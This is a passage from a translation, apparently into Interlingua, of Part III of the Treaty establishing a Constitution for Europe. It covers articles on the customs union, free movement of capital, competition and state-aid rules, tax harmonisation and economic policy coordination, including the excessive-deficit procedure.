los Statos membros. Ista prohibition se applica equalmente a los derectos de doana de character fiscal.\n5. Le Consilio adopta, per proposition de la Commission, los regulamentos aut decisiones europeos que fixan los derectos de la tarifa doanal commun.\n6. In le exercitio de las functiones que son attribuitas a illo in la presente subsection, la Commission se guida per:\na) la necessitate de promover los intercambios commerciales inter los Statos membros et tertios paises;\nb) la evolution de las conditiones de concurrentia intra la Union, in la mesura in la qual ista evolution habe como effecto le incremento de la capacitate competitiva de las interprisas;\nc) las necessitates de approvisionamento de la Union in materias primas et productos semielaboratos, veliando non falsar, inter los Statos membros, las conditiones de concurrentia de los productos finitos;\nd) la necessitate de evitar perturbationes graves in la vita economica de los Statos membros et de garantir un disveloppamento rational de la production et una expansion del consumo in la Union.\nConstitution\/ra 108\nSubsection 2\nCooperation doanal\nARTICULO III-152\nIntra los limites del campo de application de la Constitution, la lege aut lege-quadro europea stabili mesuras pro reinfortiar la cooperation doanal inter los Statos membros et inter istos et la Commission.\nSubsection 3\nProhibition de las restrictiones quantitativas\nARTICULO III-153\nLas restrictiones quantitativas tanto a la importation como a la exportation, assi como totas las mesuras de effecto equivalente son prohibitas inter los Statos membros.\nARTICULO III-154\nLe articulo III-153 non est un obstaculo pro las prohibitiones aut restrictiones de importation, de exportation aut de transito, justificatas per rationes de ordine publico, de moralitate publica, de securitate publica, de protection de la sanitate et de la vita de las personas et de los animales aut de preservation de los vegetales, de protection del patrimonio national artistico, historico aut archeologico, aut de protection de la proprietate industrial et commercial. Nonobstante, istas prohibitiones aut restrictiones non deben constituer nec un medio de discrimination arbitraria nec una restriction coperta in le commercio inter los Statos membros.\nConstitution\/ra 109\nARTICULO III-155\n1. Los Statos membros crean los monopolios nationales de character economico de tal modo que remanen assecuratos la exclusion de tota discrimination inter los citatanos de los Statos membros concernentes las conditiones de approvisionamento et de mercato.\nLe presente articulo se applica a qualcunque organismo per le qual un Stato membro, de jure aut de facto, directa- aut indirectamente, controla, dirige aut influentia sensibilemente las importationes aut las exportationes inter los Statos membros. Illo se applica equalmente a los monopolios ceditos per le Stato a alteros.\n2. Los Statos membros se abstinen de qualcunque nova mesura contraria a los principios enumeratos in le paragrapho 1 aut que restringe la portata de los articulos relativos a la prohibition de los derectos de doana et de las restrictiones quantitativas inter los Statos membros.\n3. In le caso de un monopolio de character commercial que implicae una regulation destinata a facilitar la commercialization aut a meliorar la rentabilitate de los productos agricolas, on debe adoptar las mesuras necessarias pro assecurar, in la application del presente articulo, garantias equivalentes pro le empleo et le nivello de vita de los productores interessatos.\nSECTION 4\nCAPITALES ET PAGAMENTOS\nARTICULO III-156\nIn le quadro de la presente section, son prohibitas las restrictiones tanto a los movimentos de capitales como a los pagamentos inter los Statos membros et inter Statos membros et tertios paises.\nConstitution\/ra 110\nARTICULO III-157\n1. Le articulo III-156 se intende sin prejudicio de la application a tertios paises de las restrictiones que existevan le 31 de decembre 1993 in conformitate con le Derecto national aut con le Derecto de la Union quanto a los movimentos de capitales, con destination a los tertios paises aut provenientes de illos, quando illos implican investimentos directos, includitos los investimentos immobiliarios, le stabilimento, la prestation de servicios financiarios aut la admission de valores in los mercatos de los capitales. Quanto a las restrictiones existentes in virtute de las legislationes nationales de Estonia et Hungaria, la data in question est le 31 de decembre 1999.\n2. La lege aut lege-quadro europea stabili mesuras relativas a los movimentos de capitales, con destination a tertios paises aut provenientes de illos, quando illos implican investimentos directos, includitos los investimentos immobiliarios, le stabilimento, la prestation de servicios financiarios aut la admission de valores in le mercato de capitales.\nLe Parlamento Europeo et le Consilio de Ministros se effortia pro realizar le objectivo de libere circulation de los capitales inter Statos membros et tertios paises in le major grado possibile et sin prejudicio de alteras dispositiones de la Constitution.\n3. Nonobstante lo que est disposito in le paragrapho 2, solamente per una lege aut lege-quadro europea del Consilio de Ministros pote stabilir las mesuras que constituen una retrocession in le derecto de la Union quanto a la liberalization de los movimentos de capitales a destination aut de provenientia de tertios paises. Le Consilio decide per unanimitate post consultation del Parlamento Europeo.\nARTICULO III-158\n1. Le articulo III-156 se applica sin prejudicio del derecto de los Statos membros a:\nConstitution\/ra 111\na) applicar las dispositiones pertinentes de lor legislation fiscal que distinguen inter los contribuentes cuja situation differe con respecto a lor loco de residentia aut con respecto a los locos ubi lor capital est investito;\nb) prender totas las mesuras indispensabiles pro impedir las infractiones a lores dispositiones legislativas et regulamentarias, in particular in materia fiscal et in materia de controlo prudential de stabilimentos financiarios, previder proceduras de declaration de los movimentos de capitales pro information administrativa aut statistica aut prender mesuras justificatas per rationes ligatas al ordine publico aut a la securitate publica.\n2. La presente section non prejudica la possibilitate de applicar restrictiones del derecto de stabilimento compatibile con la Constitution.\n3. Las mesuras et proceduras mentionatas in los paragraphos 1 et 2 non deben constituer nec un medio de discrimination arbitraria nec una restriction coperta de la libere circulation de capitales et de pagamentos como lo defini le articulo III-156.\n4. In absentia de una lege aut lege-quadro europea mentionata in le articulo III-157(3), la Commission aut, in absentia de una decision europea de la Commission intra un periodo de tres menses a partir de la demanda del Stato membro concernito, le Consilio pote adoptar una decision europea que disponea que las mesuras fiscales restrictivas adoptatas per un Stato membro con respecto a varios tertios paises deben considerar se compatibiles con la Constitution in la mesura in la qual uno de los objectivos de la Union lo justificae et istas mesuras sian compatibiles con le correcto functionamento del mercato interior. Le Consilio decide per unanimitate post una demanda de un Stato membro.\nConstitution\/ra 112\nARTICULO III-159\nQuando in circumstantias exceptionales los movimentos de capital con destination de tertios paises aut provenientes de illos causan aut menacian causar difficultates graves pro le functionamento de la Union economica et monetaria, le Consilio pote adoptar, per proposition de la Commission, regulamentos aut decisiones europeos que instituean decisiones de salvaguarda con respecto a tertios paises, pro un periodo non superior a sex menses, si istas mesuras son strictamente necessarias. Le Commission prende decision post consultation de la Banca Central Europea.\nARTICULO III-160\nQuando il est necessario pro obtener los objectivos stabilitos in le articulo III-257, in particular a la prevention et a la lucta contra le terrorismo et a las activitates con illos unitas, la lege europea defini un quadro de mesuras administrativas re movimentos de capitales et pagamentos, como la immobilization de fundos, de activos financiarios aut de beneficios economicos que pertinen a personas physicas aut juridicas, a gruppos aut entitates non-statales.\nLe Consilio adopta, per proposition de la Commission, regulamentos aut decisiones europeos a fin de applicar la lege europea mentionata in le paragrapho 1.\nLos actos mentionatos in le presente articulo includen las dispositiones necessarias in materia de garantias juridicas.\nConstitution\/ra 113\nSECTION 5\nREGULAS DE CONCURRENTIA\nSubsection 1\nRegulas applicabiles a las interprisas\nARTICULO III-161\n1. Son incompatibiles con le mercato interior et prohibitos totos los accordos inter interprisas, totas las decisiones de associationes de interprisas et totas las practicas concertatas que poten affectar al commercio inter los Statos membros et que haben pro objecto aut pro effecto impedir, restringer aut falsificar le joco de la concurrentia intra le mercato interior et, in particular, illos que consisten in:\na) fixar directa- aut indirectamente los precios de compra aut de vendita aut de alteras conditiones de transaction;\nb) limitar aut controlar la production, le mercato, le disveloppamento technico aut los investimentos;\nc) distribuer los mercatos aut las fontes de approvisionamento;\nd) applicar a partners commerciales conditiones inequales pro prestationes equivalentes, que occasionan disavantages competitivas a istos partners;\nConstitution\/ra 114\ne) subordinar la conclusion de contractos a la acceptation, per los partners, de prestationes supplementarias que, per lor natura aut secundo los usos commerciales, non haben necuna relation con le objecto de istos contractos.\n2. Los accordos aut decisiones prohibitos per le presente articulo son nullos de pleno derecto.\n3. Nonobstante, le paragrapho 1 pote esser declarato inapplicabile\n- a qualcunque accordo aut categoria de accordos inter interprisas,\n- a qualcunque decision aut categoria de decisiones de associationes de interprisas, et\n- a qualcunque practica concertata aut categoria de practicas concertatas, que contribuen a meliorar la production aut la distribution de los productos aut a promover le progresso technico aut economico, et reservan al mesmo tempore a los utilizatores una parte equitabile in le beneficio resultante, et sin:\na) imponer a las interprisas interessatas restrictiones que non son indispensabiles pro obtener istos objectivos;\nb) offerer a istas interprisas la possibilitate, pro una parte substantial de los productos concernitos, de eliminar la concurrentia.\nConstitution\/ra 115\nARTICULO III-162\nEst incompatibile con le mercato interior et prohibito, in la mesura in la qual le commercio inter los Statos membros pote esser affectato per exploitation abusiva, le facto pro una aut plures interprisas de exploitar de maniera abusiva una position dominante in le mercato interior aut in una parte substantial de illo. Istas practicas abusivas poten consister, particularmente, in:\na) imponer directa- aut indirectamente precios de compra, de vendita aut de alteras conditiones de transaction non-equitabiles;\nb) limitar la production, le mercato aut le disveloppamento technico in prejudicio de los consumitores;\nc) applicar a partners commerciales conditiones inequales pro prestationes equivalentes, que occasionan a istos un disavantage in la concurrentia;\nd) subordinar la conclusion de contractos a la acceptation, per los partners, de prestationes supplementarias que, per lor natura aut secundo los usos commerciales, non haben necuna relation con le objecto de istos contractos.\nARTICULO III-163\nLe Consilio adopta, per proposition de la Commission, los regulamentos europeos pro la application de los principios mentionatos in los articulos III-161 et III-162. Le Consilio decide post consultation del Parlamento Europeo.\nConstitution\/ra 116\nIstos regulamentos haben specialmente pro objecto:\na) garantir la observantia de las prohibitiones mentionatas in le articulo III-161(1) et in le articulo III-162, per le stabilimento de las mulctas et mulctas coercitivas;\nb) determinar las modalitates de application del articulo III-161(3), ponderando la necessitate, de una parte, de assecurar una vigilantia efficace et, de la altera parte, de simplificar tanto como possibile le controlo administrativo;\nc) precisar, eventualmente, in las diversas brancas economicas, le campo de application de los articulos III-161 et III-162;\nd) definir le rolo respectivo de la Commission et del Tribunal de Justitia de la Union Europea in la application de las dispositiones stabilitas in le presente paragrapho;\ne) definir las relationes inter las legislationes nationales, de una parte, et la presente subsection et los regulamentos europeos adoptatos in application del presente articulo, de la altera parte.\nARTICULO III-164\nUsque a la entrata in vigor de los regulamentos europeos adoptatos in application del articulo III-163, las autoritates de los Statos membros prenden decisiones re la admissibilitate de los accordos, decisiones et practicas concertatas et re la exploitation abusiva de una position dominante in le mercato interior, in conformitate con lor proprio Derecto interno et, in particular, con le articulo III-161(3), et con le articulo III-162.\nConstitution\/ra 117\nARTICULO III-165\n1. Sin prejudicio del articulo III-164, la Commission velia la application de los principios mentionatos in los articulos III-161 et III-162. Per requesta de un Stato membro aut per su propria initiativa, et in collaboration con las autoritates competentes de los Statos membros, que le prestan lor assistentia, la Commission investiga los casos de supposita infraction de los principios mentionatos. Si la Commission constata la existentia de una infraction, illa propone mesuras adequatas pro poner fin a illa.\n2. In le caso que on non pone fin a tales infractiones, la Commission adopta una decision europea motivata constatando la infraction a los principios. La Commission pote publicar su decision et autorizar los Statos membros a adoptar las dispositiones necessarias, a las conditiones et modalitates que la Commission determina, pro remediar ista situation.\n3. La Commission pote adoptar regulamentos europeos relativos a las categorias de accordos re los quales le Consilio ha adoptato un regulamento europeo, conformemente con le articulo III-163(2)(b).\nARTICULO III-166\n1. Los Statos membros non prenden nec mantenen, concernente las interprisas publicas et las interprisas a las quales illos conceden derectos speciales aut exclusivos, necuna decision contraria a las dispositiones de la Constitution, specialmente a illo mentionato in le articulo I-4(2) et in le articulos III-161 a III-169.\nConstitution\/ra 118\n2. Las interprisas incargatas de la gestion de servicios de interesse economico general aut que haben le character de un monopolio fiscal son submittitas a las dispositiones de la Constitution, specialmente a las regulas de concurrentia, in la mesura in la qual la application de istas regulas non impedi, de facto aut de jure, le complimento de la mission specifica confidita a illas. Le disveloppamento de los intercambios non debe esser affectato in una mesura contraria al interesse de la Union.\n3. La Commission velia la application del presente articulo et adopta, si necessarios, los regulamentos aut decisiones europeos appropriatos.\nSubsection 2\nAdjutas accordatas per los Statos membros\nARTICULO III-167\n1. Si la Constitution non dispone alteramente, son incompatibiles con le mercato interior, in la mesura in la qual illas affectaen los intercambios commerciales inter los Statos membros, las adjutas conceditas per los Statos membros aut per medio de fundos statales, sub qualcunque forma, que falsan aut menacian falsar la concurrentia, que favoran certas interprisas aut certas productiones.\n2. Son compatibiles con le mercato interior:\na) las adjutas de character social conceditas a los consumitores individuales, a condition que illas sian conceditas sin discrimination ligata al origine de los productos;\nConstitution\/ra 119\nb) las adjutas destinatas a reparar los damnos causatos per calamitates naturales aut per alteros eventos de character extraordinario;\nc) las adjutas conceditas a la economia de certas regiones de la Republica Federal Germana, affectata per la division de Germania, in la mesura in la qual illas sian necessarias pro compensar los disavantages economicos causatos per ista division. Cinque annos post la entrata in vigor del Tractato que stabili una Constitution pro Europa, le Consilio pote, per proposition de la Commission, adoptar una decision europea que abroga le puncto presente.\n3. Poten esser consideratas compatibiles con le mercato interior:\na) las adjutas destinatas a favorar le disveloppamento economico de regiones in las quales le nivello de vita sia anormalmente basso aut in los quales existe una grave situation de disoccupation, assi como le nivello de las regiones mentionatas in le articulo III-424, tenito conto de lor situation structural, economica et social;\nb) las adjutas destinatas a promover la realization de un projecto importante de interesse commun europeo aut destinato a remediar una grave perturbation in la economia de un Stato membro;\nc) las adjutas destinatas a favorar le disveloppamento de certas activitates aut certas regiones economicas, quando illas non alteraen las conditiones de los intercambios in una mesura contraria al interesse commun;\nd) las adjutas destinatas a promover la cultura et la conservation del patrimonio, quando illas non alteraen las conditiones de los intercambios et de la concurrentia in la Union in una mesura contraria al interesse commun;\nConstitution\/ra 120\ne) las alteras categorias de adjutas determinatas per regulamentos aut decisiones europeos adoptatos per le Consilio, per proposition de la Commission.\nARTICULO III-168\n1. La Commission examina permanentemente, juncto con los Statos membros, los regimes de adjutas existentes in istos Statos. La Commission propone a los Statos membros las mesuras exigitas per le disveloppamento progressivo aut le functionamento del mercato interior.\n2. Si, post haber adjurato los interessatos de presentar lores observationes, la Commission constata que una adjuta concedita per un Stato membro aut per fundos statales non est compatibile con le mercato interior in virtute del articulo III-167 aut que ista adjuta se applica de maniera abusiva, illa adopta una decision europea que habe le objectivo que le Stato interessato lo supprimea aut modificae in le periodo que la Commission determinae.\nSi le Stato in question non se conformae a ista decision in le periodo impartito, la Commission aut qualcunque altero Stato membro interessato pote recurrer directamente al Tribunal de Justitia de la Union Europea, nonobstante lo que est disposito in los articulos III-360 et III-361.\nPer petition de un Stato membro, le Consilio de Ministros pote adoptar per unanimitate una decision europea secundo la qual, et nonobstante lo que est disposito in le articulo III-167 aut in los regulamentos europeos mentionatos in le articulo III-169, la adjuta que iste Stato ha concedito aut va a conceder, est considerata compatibile con le mercato interior, quando circumstantias exceptional justificaen ista decision.\nSi, quanto a ista adjuta, la Commission ha initiato la procedura mentionata in le presente paragrapho, prima linea, la petition del Stato membro interessato dirigita al Consilio de Ministros habe pro effecto la suppression de ista procedura usque al momento que le Consilio haia definito su position re la question.\nConstitution\/ra 121\nNonobstante, si le Consilio de Ministros non ha definito su position intra tres menses post la petition, la Commission decide.\n3. La Commission est informata per los Statos membros, in tempore sufficiente pro presentar sus observationes, re projectos tendentes a instituer aut a modificar adjutas. Si la Commission considerae que un projecto non est compatibile con le mercato interior secundo los terminos del articulo III-167, la Commission initia sin demora la procedura mentionata in le paragrapho 2 del presente articulo. Le Stato membro interessato non pote executar las mesuras projectatas ante que ista procedura haia terminato in una decision definitive.\n4. Le Commission pote adoptar regulamentos europeo relative al categorias de adjutas public que le Consilio de Ministros ha determinate, conformemente con le articulo III-169, secundo le qual illos pote esser exempte del procedura mentionate in le paragrapho 3 del presente articulo.\nARTICULO III-169\nLe Consilio pote, per proposition del Commission, adoptar regulamentos europeo pro le application del articulos III-167 et III-168 et pro determinar, in particular, le conditiones de application del articulo III-168(3), et le categorias de adjutas que est excludite del procedura mentionate in iste paragrapho. Le Consilio decide post consultation del Parlamento Europeo.\nConstitution\/ra 122\nSECTION 6\nDISPOSITIONES FISCAL\nARTICULO III-170\n1. Necun Stato membro grava directe- aut indirectemente le productos del altere Statos membros con impositiones interior, qualcunque pote esser lor natura, superior al impositiones que grava directe- aut indirectemente le productos national similar. In ultra, necun Stato membro grava le productos del altere Statos membros con impositiones interior que pote proteger indirectemente altere productiones.\n2. Le productos exportate de un Stato membro verso le territorio de un altere Stato membro pote beneficiar de necun devolution de impositiones interior superior al impositiones con le quales illos ha essite gravate directe- aut indirectemente.\n3. Quanto al impositiones distincte del taxas imponite super le volumine de negotios, le taxas imponite super consumos specific et le altere taxas indirecte imponite, on ni pote conceder exonerationes ni reimbursamentos al exportation verso le altere Statos membros ni imponer gravamines compensatori al importationes proveniente de Statos membros, a minus que le dispositiones projectate ha essite previemente approbate per un decision europeo adoptate per le Consilio, per proposition del Commission, pro un periodo limitate.\nConstitution\/\nARTICULO III-171\nUn lege aut lege-quadro europeo del Consilio stabili mesuras concernente le harmonisation del legislationes relative al impostos super le volumine de negotios, le impostos super consumos specific et altere impostos indirecte, in tanto que iste harmonisation est necessari pro garantir le functionamento del mercato interior et pro evitar le distorsiones de concurrentia. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo et del Committato Economic et Social.\nSECTION 7\nDISPOSITIONES COMMUN\nARTICULO III-172\n1. Salvo si la Constitution dispone alteremente, le presente articulo se applica pro le realization del objectivos mentionate in le articulo III-130. Le lege aut lege-quadro europeo stabili le mesuras relative al approximation del dispositiones legislative, regulamentari et administrative del Statos membros que ha pro objecto le stabilimento et le functionamento del mercato interior. Iste lege aut lege-quadro est adoptate post consultation del Committato Economic et Social.\n2. Le paragrapho 1 non se applica al dispositiones fiscal, al dispositiones relative al libere circulation de personas ni al dispositiones relative al derectos et interesses del laboratores salariate.\nConstitution\/ra 124\n3. Le Commission, in su propositiones presentate conformemente con le paragrapho 1 referente al approximation del legislationes in materia de sanitate, de securitate, de protection del ambiente et de protection del consumitores, se basa super un nivello elevate de protection, ponderante specialmente qualcunque novitate fundate super factos scientific. In le quadro de lor respective competentias, le Parlamento Europeo et le Consilio se effortia equalmente pro obtener iste objectivo.\n4. Si, post le adoption de un mesura de harmonisation per un lege aut un lege-quadro europeo aut per un regulamento europeo del Commission, un Stato membro considera necessari mantener dispositiones national justificate per exigentias importante, mentionate in le articulo III-154, aut relative al protection del ambiente natural aut del ambiente del labor, iste Stato membro notifica al Commission iste dispositiones indicante le rationes de lor mantenimento.\n5. In ultra, sin prejudicio del paragrapho 4, si, post le adoption de un mesura de harmonisation in virtute de un lege aut lege-quadro europeo aut de un regulamento europeo del Commission, un Stato membro considera necessari stabilir nove dispositiones national fundate super novitates scientific relative al protection del ambiente natural aut del ambiente del labor et justificate per un problema specific de iste Stato membro surgite post le adoption del mesura de harmonisation, illo notifica al Commission le dispositiones previste assi como motivation.\n6. Le Commission adopta, intra sex menses post le notificationes mentionate in le paragraphos 4 et 5, un decision europeo que approba aut rejecta le dispositiones national mentionate, post haber verificate si illos est aut non est un medio de discrimination arbitrari aut un restriction celate in le commercio inter Statos membros et si illos constitue aut non un obstaculo al functionamento del mercato interior.\nSi le Commission non ha adoptate un decision in iste periodo, le dispositiones national mentionate in le paragraphos 4 et 5 est considerate como approbate.\nConstitution\/ra 125\nQuando illo est justificate per le complexitate del question, et in absentia de risco pro le sanitate human, le Commission pote notificar al Stato membro affectate que le periodo mentionate in le presente paragrapho se amplia per un periodo additional de maximalmente sex menses.\n7. Quando, in application del paragrapho 6, un Stato membro est autorisate pro mantener aut stabilir dispositiones national derogante a un mesura de harmonisation, le Commission examina immediatemente le possibilitate de proponer un adaptation de iste mesura.\n8. Quando un Stato membro subleva un problema particular de sanitate public in un dominio que ha essite objecto de mesuras de harmonisation, iste Stato debe informar de illo al Commission, que examina immediatemente si il est sage de proponer mesuras adequate.\n9. Como derogation al procedura mentionate in le articulos III-360 et III-361, le Commission et qualcunque Stato membro pote recurrer directemente al Tribunal de Justitia de la Union Europeo si illos considera que un altere Stato membro abusa del poteres mentionate in le presente articulo.\n10. Le mesuras de harmonisation mentionate in le presente articulo include, in le casos appropriate, un clausula de salveguarda autorisante le Statos membros a adoptar, pro un aut plure rationes non economic indicate in le articulo III-154, dispositiones provisori submittite a un procedura de controlo per la Union.\nARTICULO III-173\nSin prejudicio del articulo III-172, un lege-quadro europeo del Consilio stabili le mesuras pro le approximation del dispositiones legislative, regulamentari et administrative del Statos membros que incide directemente in le stabilimento aut le functionamento del mercato interior. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo et del Committato Economic et Social.\nConstitution\/ra 126\nARTICULO III-174\nIn le caso que le Commission constata que un divergentia inter le dispositiones legislative, regulamentari aut administrative del Statos membros falsa le conditiones de concurrentia super le mercato interior et provoca un distorsion que debe esser eliminate, illo consulta le Statos membros interessate.\nSi tal consultas non permitte obtener un accordo, le lege-quadro europeo stabili le mesuras necessari pro eliminar iste distorsion. Qualcunque altere mesuras appropriate mentionate in la Constitution pote esser adoptate.\nARTICULO III-175\n1. Quando il existe le timor que le adoption aut le modification de un disposition legislative, regulamentari aut administrative national pote provocar un distorsion in le senso definite in le articulo III-174, le Stato membro que vole adoptar tal mesuras consulta le Commission. Post haber consultate le Statos membros, le Commission dirige al Statos interessate un recommendation re le mesuras appropriate pro evitar un tal distorsion.\n2. Si le Stato membro que vole adoptar aut modificar dispositiones national non se conforma al recommendation que le Commission ha dirigite a illo, on non pote demandar al altere Statos, in application del articulos III-174, modificar lor dispositiones national pro eliminar iste distorsion. Si le Stato membro que non ha acceptate le recommendation del Commission provoca un distorsion unicamente in prejudicio proprie, le articulo III-174 non est applicate.\nConstitution\/ra 127\nARTICULO III-176\nIn le quadro del stabilimento aut del functionamento del mercato interior, le lege aut lege-quadro europeo stabili le mesuras relative al creation de titulos europeo pro garantir un protection uniforme del derectos de proprietate intellectual in la Union et al stabilimento de regimes de autorisation, de coordination et de controlo centralisate al nivello de la Union.\nUn lege europeo del Consilio stabili le regimes linguistic del titulos europeo. Le Consilio decide per unanimitate, post consultation al Parlamento Europeo.\nCAPITULO II\nPOLITICA ECONOMIC et MONETARI\nARTICULO III-177\nPro obtener le scopos enumerate in le articulo I-3, le action del Statos membros et de la Union include, al conditiones mentionate in le Constitution, le instauration de un politica economic fundate super le stricte coordination del politicas economic del Statos membros, le mercato interior et le definition de objectivos commun, et que on realiza in conformitate con le respecto al principio de un economia de mercato aperte et de libere concurrentia. Parallelmente, in le conditiones et secundo le proceduras mentionate in le Constitution, iste action implica un moneta unic, le euro, et le definition et application de un politica monetari et de un politica de cambio unic cuje objectivo principal est mantener le stabilitate de precios e, sin prejudicio de iste objectivo, le appoio del politicas economic general de la Union, in conformitate con le principios de un economia de mercato aperte de libere concurrentia.\nConstitution\/ra 128\nIste action del Statos membros et de la Union implica le respecto del sequente principios directive: precios stabile, financias public et conditiones monetari san et balancia stabile del pagamentos.\nSECTION 1\nPOLITICA ECONOMIC\nARTICULO III-178\nLe Statos membros conduce lor politicas economic con le objectivo de contribuer al realization del objectivos de la Union, definite in le articulo I-3, et in le contexto del grande orientationes general mentionate in le articulo III-179(2). Le Statos membros et la Union age in le respecto del principio de un economia de mercato aperte et de libere concurrentia, favorante un efficiente allocation de ressources et in conformitate con le principios mentionate in le articulo III-177.\nARTICULO III-179\n1. Le Statos membros considera lor politicas economic como un question de interesse commun et los coordina in le sino del Consilio, in conformitate con le articulo III-178.\n2. Le Consilio, per recommendation del Commission, elabora un projecto pro le grande orientationes del politicas economic del Statos membros et de la Union et presenta un reporto de illos al Consilio Europeo.\nConstitution\/ra 129\nLe Consilio Europeo, super le base del reporto del Consilio, debatte un conclusion re le grande orientationes del politicas economic del Statos membros et de la Union. Conformemente con iste conclusion, le Consilio adopta un recommendation stabiliente iste grande orientationes. Le Consilio informa re illo le Parlamento Europeo.\n3. A fin de garantir un collaboration plus stricte del politicas economic et un convergentia sustenite del resultatos economic obtenite del Statos membros, le Consilio, super le base de reportos presentate per le Commission, survelia le evolution economic in cata Stato membro et in la Union, assi como le coherentia del politicas economic con le grande orientationes mentionate in le paragrapho 2, et face regularmente un evalutation global.\nPro iste surveliantia multilateral, le Statos membros transmitte al Commission informationes re le mesuras importante que illos ha adoptate in relation con lor politica economic et qualcunque altere information que illos considera necessari.\n4. Quando, secundo le procedura mentionate in le paragrapho 3, on constata que le politicas economic de un Stato membro contradice le grande orientationes mentionate in le paragrapho 2 aut pote poner in periculo le correcte functionamento de la Union economic et monetari, le Commission pote diriger un advertimento a iste Stato membro. Le Consilio, per proposition del Commission, pote diriger le recommendationes necessari al Stato membro concernite. Le Consilio pote decider, per proposition del Commission, facer public su recommendationes.\nIn le quadro del presente paragrapho, le Consilio prende decision sin considerar le voto del membro del Consilio que representa le Stato membro concernite.\nLe majoritate qualificate se defini como al minus 55% del altere membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nConstitution\/ra 130\nUn minoritate de blocada debe includer al minus le numero minime de iste altere membros del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro; in caso contrari le majoritate qualificate est considerate como obtenite.\n5. Le Presidente del Consilio et le Commission face un reporto pro le Parlamento Europeo re le resultatos del surveliantia multilateral. Si le Consilio ha facite public su recommendationes, on pote invitar su Presidente pro presentar se ante le commission competente del Parlamento Europeo.\n6. Le lege europeo pote stabilir le modalitates relative al procedura de surveliantia multilateral mentionate in le paragraphos 3 et 4.\nARTICULO III-180\n1. Sin prejudicio del altere proceduras stabilite in le Constitution, le Consilio pote adoptar, per proposition del Commission, un decision europeo stabiliente mesuras adequate al situation economic, in particular si surge difficultates grave in le approvisionamento de certe productos.\n2. Quando un Stato membro ha difficultates aut un menacia seriose de difficultates grave per causa de catastrophes natural aut eventos exceptional que iste Stato non pote controlar, le Consilio pote adoptar, per proposition del Commission, un decision europeo per le qual on concede al Stato membro concernite, in certe conditiones, un adjuta financiari de la Union. Le Presidente del Consilio informa de illo le Parlamento Europeo.\nConstitution\/ra 131\nARTICULO III-181\n1. Il est prohibite al Banca Central Europeo et al bancas central del Statos membros, denominate hic \"bancas central national\", accordar discopertas aut qualcunque altere typo de credito in favor de institutiones, organos aut organismos de la Union, administrationes central, autoritates regional aut local aut altere autoritates public, altere organismos aut interprisas del Statos membros. Le acquisition directe per le Banca Central Europeo aut le bancas central national, del instrumentos de lor debito est equalmente prohibite.\n2. Le paragrapho 1 non se applica al stabilimentos public de credito que, in le quadro del provision de reservas per le bancas central, debe reciper del banca central national et del Banca Central Europeo le mesme tractamento que le stabilimentos private de credito.\nARTICULO III-182\nEs prohibite tote le mesuras et dispositiones que non se basa super considerationes prudential, que stabili un accesso privilegiate del institutiones, organos aut organismos de la Union, administrationes central, autoritates regional aut local, altere autoritates public aut altere organismos aut interprisas public del Statos membros, al institutiones financiari.\nConstitution\/ra 132\nARTICULO III-183\n1. la Union non responde del ingagiamentos del administrationes central, autoritates regional aut local, altere autoritates public aut altere organismos aut interprisas public de un Stato membro sin prejudicio del garantias financiari mutual pro le realization conjuncte de projectos specific. Un Stato membro non responde del ingagiamentos del administrationes central, autoritates regional aut local, altere autoritates public, aut altere organismos aut interprisas public de un altere Stato membro, sin prejudicio del garantias financiari mutual pro le realization conjuncte de projectos specific.\n2. Le Consilio pote, per proposition del Commission, adoptar regulamentos aut decisiones europeo que specifica le definitiones pro le application del prohibitiones mentionate in le articulos III-181 et III-182 et in le presente articulo. Le Consilio decide post consultation del Parlamento Europeo.\nARTICULO III-184\n1. Le Statos membros evita deficits public excessive.\n2. Le Commission survelia le evolution del situation budgetari et del nivello del quantitate del debito public del Statos membros con le fin de detectar errores manifeste. Illo examina in particular si le disciplina budgetari ha essite respectate super le base del duo criterios sequente:\na) si le proportion inter le deficit public previste aut real et le producto interior brute supera un valor de referentia, a minus:\nConstitution\/ra 133\ni) que le proportion ha diminuite de maniera considerabile et continuate et ha arrivate a un nivello proxime al valor de referentia, aut\nii) que le valor de referentia est superate solamente de maniera exceptional et temporari, et que le proportion se mantene proxime al valor de referentia;\nb) si le proportion inter le debito public et le producto interior brute supera un valor de referentia, a minus que le proportion diminue sufficientemente et se approxima a un rhythmo satisfactori al valor de referentia.\nLe valores de referentia est specificate in le Protocollo re le procedura concernente le deficits excessive.\n3. Si un Stato membro non compli le exigentias de un aut plures de iste criterios, le Commission elabora un reporto, in le qual est considerate equalmente si le deficit public supera le dispensas public de investimento, assi como tote le altere factores pertinente, includite le situation economic et budgetari a medie termino del Stato membro. Le Commission pote equalmente elaborar un reporto si illo considera que, includite si le exigentias derivate del criterios se compli, existe le risco de un deficit excessive in un Stato membro.\n4. Le Committato Economic et Financiari, instituite conformemente con le articulo III-192, formula un aviso re le reporto del Commission.\n5. Si le Commission considera que un Stato membro presenta aut pote presentar un deficit excessive, illo dirige un aviso a iste Stato membro et informa de illo le Consilio.\nConstitution\/ra 134\n6. Le Consilio, per proposition del Commission, considerante le possibile observationes del Stato membro concernite et post un evalutation global, decide si il existe un deficit excessive. In caso affirmative, le Consilio adopta sin demora injustificate, per recommendation del Commission, le recommendationes que illo dirige al Stato membro concernite con le scopo que illo pone fin a iste situation intra un periodo determinate. Salvo lo que est disponite in le paragrapho 8, iste recommendationes non se face public.\nIn le quadro del presente paragrapho le Consilio prende decision sin considerar le voto del membro del Consilio que representa le Stato concernite.\nLe majoritate qualificate se defini como al minus 55% del altere membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste altere membros del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si isto non est attingite, majoritate qualificate est considerate como obtenite.\n7. Le Consilio adopta, per recommendation del Commission, le decisiones europeo et le recommendationes mentionate in le paragraphos 8 a 11.\nLe Consilio decide sin prender in consideration le voto del membro del Consilio qui representa le Stato concernite.\nLe majoritate qualificate se defini como un minimo de 55% del altere membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nConstitution\/ra 135\nUn minoritate de blocada debe includer al minus le numero minime de ille altere membros del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si isto non est attingite, le majoritate qualificate est considerate como obtenite.\n8. Quando le Consilio adopta un decision europeo constatante que il non ha habite alcun action effective in responsa a su recommendationes in le periodo fixate, illo pote facer public su recommendationes.\n9. Si un Stato membro persiste in non complir le recommendationes del Consilio, iste ultime pote adoptar un decision europeo per le qual illo obliga 